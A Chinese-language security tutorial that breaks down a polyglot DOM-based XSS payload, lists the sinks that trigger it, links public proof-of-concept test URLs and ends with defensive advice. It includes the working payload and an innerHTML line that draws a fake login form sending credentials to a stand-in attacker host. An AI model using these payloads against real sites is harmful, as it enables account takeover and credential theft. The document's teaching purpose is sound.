一个精心构造的XSS Payload
1;/*'"><Img/Src/OnError=/**/confirm(1)//>
这个看似杂乱的字符串,是攻击者用于突破网页防御、执行恶意代码的利器。它专门针对 DOM 环境中的漏洞,也就是我们常说的DOM型XSS。你可能会疑惑,这些奇怪的符号组合在一起是怎么起作用的?我们来逐段拆解它的攻击逻辑。
Payload 逐段解析
1;:如果输入点位于JS执行环境(例如在 `eval()` 函数内),这个分号 `;` 代表一个完整语句的结束,可以“截断”其后的原始代码。
/*:这是JavaScript的多行注释开始符号。它的作用是让JS引擎忽略掉后面用于突破HTML上下文的一些特殊字符(比如单引号、双引号和尖括号),防止因为这些字符导致JS语法错误而中断整个脚本的执行。
'":这两个字符是用来尝试闭合输入点上下文中可能存在的字符串引号。可能是单引号 `'`,也可能是双引号 `"`,攻击者通过同时写入两者来提高攻击成功率。
>:这是HTML实体编码的右尖括号 `>`。它试图闭合当前所在的HTML标签,为注入新的恶意标签创造机会。
<Img/Src/OnError=...:这是整个攻击载荷的核心。一旦前面的标签被成功闭合,浏览器就会将 `<Img ...` 解析为一个新的图片标签。这里故意将 `Src` 属性设置为空或无效值,目的是为了触发 `OnError` 事件。
/**/:在 `OnError` 事件属性值内部,使用 `/**/`(一个空的多行注释)来代替空格。这是一种常见的绕过技巧,用于规避那些过滤了空格的简单防护机制。
//:JavaScript的单行注释符。如果整个攻击发生在JS上下文中,它能够注释掉Payload后面可能存在的任何原始代码(例如闭合的括号 `)` 或其他字符),确保最终的JavaScript语法正确无误。
攻击发生的条件
如果用户输入最终通过某些方式进入 DOM,就可能触发此类攻击。主要途径分为两大类:
A. HTML操作:例如使用 document.write()、innerHTML、outerHTML 或类似功能的库函数。
B. JavaScript执行:例如通过 eval()、setInterval()、setTimeout() 或模板字面量(Template Literals)来动态执行代码。
为了更直观地理解,安全研究者提供了可公开访问的概念验证(PoC)链接:
A类场景PoC:
https://x55.is/brutelogic/dom/sinks.html?name=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E
B类场景PoC:
https://x55.is/brutelogic/dom/sinks.html?index=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E
实战效果演示
A类攻击:HTML注入
访问上面的A类PoC链接,你会看到攻击成功的直接效果——一个弹窗。这证明了通过参数注入的恶意代码已经被浏览器解析并执行。

进阶攻击:页面重写
上面的例子只是简单的弹窗。但实际上,DOM XSS的攻击潜力远不止于此。攻击者可以利用它来完全重写页面内容,进行更危险的攻击,比如伪造一个登录界面来窃取用户凭证。
攻击Payload示例:
document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/login"><p>Username: <input name="u"></p><p>Password: <input type="password" name="p"></p><button>Login</button></form>';
攻击效果:
一旦这段代码在受害者浏览器中执行,原本的页面内容会被替换成一个高仿的“会话过期,请重新登录”的界面。用户输入的用户名和密码会被直接提交到攻击者控制的服务器(http://attacker.com/login)。

B类攻击:JavaScript执行
同样地,访问B类PoC链接,我们会看到相同的弹窗被触发。这说明,即使在不同的代码执行上下文中,攻击原理也是相通的。

总结与思考
通过拆解这个经典的Payload,我们可以深刻理解DOM型XSS的攻击本质:它利用的是客户端JavaScript对DOM树的动态操作,如果未能对用户输入进行充分的净化和转义,攻击者就能注入恶意脚本。
防御此类攻击,关键在于对任何来自外部的、将要输出到HTML或动态JavaScript上下文中的数据,进行严格的上下文相关编码或过滤。对于开发者而言,深入理解 DOM 解析与JavaScript执行的原理,是构建安全前端应用的基石。在云栈社区的安全板块,有更多关于 Web安全 防御实践的深度讨论和资源分享,欢迎对安全技术感兴趣的朋友一起交流学习。